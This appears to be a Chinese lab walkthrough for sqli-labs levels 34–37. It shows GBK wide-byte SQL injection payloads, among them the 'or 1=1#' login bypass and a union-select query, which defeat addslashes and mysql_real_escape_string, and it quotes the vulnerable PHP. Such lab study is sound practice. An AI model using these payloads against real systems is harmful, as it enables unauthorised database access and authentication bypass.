靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(34)第三十四关:
使用下面输入的语句可以成功注入并登录成功:
�' or 1=1#
因为这个编码是乱码,会启用gbk解码,所以变成了文字的注入,第36关特别详细,可以先查看36关的说明:
�%5c' or 1=1# 首先被过滤函数转义,加了个%5c
%EF%BF%BD%5c' or 1=1# 然后是自行url解码变成%EF%BF%BD%5c'
锟絓' or 1=1# 最后是gbk解码,发现可以注入!
(35)第三十五关:
/ take the variables if(isset($_GET['id'])) { $id=check_addslashes($_GET['id']); //echo "The filtered request is :" .$id . "<br>"; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
这个也是考宽字节注入,不同的是没有加那个'号,用的那个过滤函数:
后面什么也不用输即可:
?id=-1%20 union select 1,user(),3--+
(36)第三十六关:
36关就用的过滤函数不一样了,因此可以再回顾一下过滤函数:php内一些可以防止注入的函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
' "
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
?id=-1�'union select 1,user(),3--+
这里的语句设置了转义,同时在乱码时会使用gbk编码:
mysql_query("set names 'gbk'");
我们输入
%EF%BF%BD%27
他首先会url解码成乱码,发现有个'就拼接了\,\的url编码是%5c,因为是个乱码,所以,会使用gbk编码,然后就变成%EF%BF%BD%5c%27
![](https://img2020.cnblogs.com/blog/1674381/202111/1674381-20211116110948751-532680590.png)
这里的乱码使用gbk进行解码,就变成了汉字,因此可以注入:
跟34关差不多的原理,这里我不再赘述。
(37)第三十七关:
用户名和密码都设置了转义,然后在乱码时启用了gbk。
�' or 1=1#
跟34关差不多,不再赘述。